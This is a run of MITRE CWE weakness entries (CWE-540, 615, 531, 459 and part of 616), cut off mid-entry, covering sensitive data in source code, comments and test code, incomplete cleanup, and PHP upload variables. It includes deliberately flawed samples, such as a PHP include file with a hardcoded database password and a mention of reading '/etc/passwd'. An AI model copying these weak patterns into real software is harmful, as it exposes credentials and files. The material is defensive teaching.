This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Include Source Code
2020-02-24Information Exposure Through Include Source Code

CWE-540: Inclusion of Sensitive Information in Source Code

Weakness ID: 540
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.
+ Extended Description
There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.538Insertion of Sensitive Information into Externally-Accessible File or Directory
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.531Inclusion of Sensitive Information in Test Code
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.541Inclusion of Sensitive Information in an Include File
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.615Inclusion of Sensitive Information in Source Code Comments
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following code uses an include file to store database credentials:

database.inc

(bad code)
Example Language: PHP 
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>

login.php

(bad code)
Example Language: PHP 
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Example 2

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

(bad code)
Example Language: JSP 
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
+ Observed Examples
ReferenceDescription
Server for Team Awareness Kit (TAK) application includes sensitive tokens in the JavaScript source code.
The LDAP password might be visible in the html code of a rendered page in an IT Asset Management tool.
Version numbers and internal hostnames leaked in HTML comments.
+ Potential Mitigations

Phases: Architecture and Design; System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships, Type
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Source Code
2020-02-24Information Exposure Through Source Code

CWE-615: Inclusion of Sensitive Information in Source Code Comments

Weakness ID: 615
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.
+ Extended Description
An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.540Inclusion of Sensitive Information in Source Code
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.546Suspicious Comment
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

(bad code)
Example Language: JSP 
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
+ Observed Examples
ReferenceDescription
Version numbers and internal hostnames leaked in HTML comments.
CMS places full pathname of server in HTML comment.
blog software leaks real username in HTML comment.
+ Potential Mitigations

Phase: Distribution

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Observed_Examples, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Comments
2020-02-24Information Exposure Through Comments

CWE-531: Inclusion of Sensitive Information in Test Code

Weakness ID: 531
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.540Inclusion of Sensitive Information in Source Code
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Testing
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

+ Potential Mitigations

Phases: Distribution; Installation

Remove test code before deploying the application into production.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP28Unexpected access points
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Name, Relationships, Time_of_Introduction
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Test Code
2020-02-24Information Exposure Through Test Code

CWE-459: Incomplete Cleanup

Weakness ID: 459
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly "clean up" and remove temporary or supporting resources after they have been used.
+ Alternate Terms
Insufficient Cleanup
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.226Sensitive Information in Resource Not Removed Before Reuse
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.460Improper Cleanup on Thrown Exception
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.568finalize() Method Without super.finalize()
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.452Initialization and Cleanup Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other
Confidentiality
Integrity

Technical Impact: Other; Read Application Data; Modify Application Data; DoS: Resource Consumption (Other)

It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.
+ Demonstrative Examples

Example 1

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

(bad code)
Example Language: Java 
try {
InputStream is = new FileInputStream(path);
byte b[] = new byte[is.available()];
is.read(b);
is.close();
} catch (Throwable t) {
log.error("Something bad happened: " + t.getMessage());
}
+ Observed Examples
ReferenceDescription
World-readable temporary file not deleted after use.
Temporary file not deleted after use, leaking database usernames and passwords.
Interaction error creates a temporary file that can not be deleted due to strong permissions.
Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
Users not logged out when application is restarted after security-relevant changes were made.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.982SFP Secondary Cluster: Failure to Release Resource
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Relationship

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncomplete Cleanup
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
CERT C Secure CodingFIO42-CCWE More AbstractClose files when they are no longer needed
CERT C Secure CodingMEM31-CCWE More AbstractFree dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)FIO04-JRelease resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)FIO00-JDo not operate on files in shared directories
Software Fault PatternsSFP14Failure to release resource
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Relationship_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID: 616
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.
+ Extended Description
These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.473PHP External Variable Modification
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
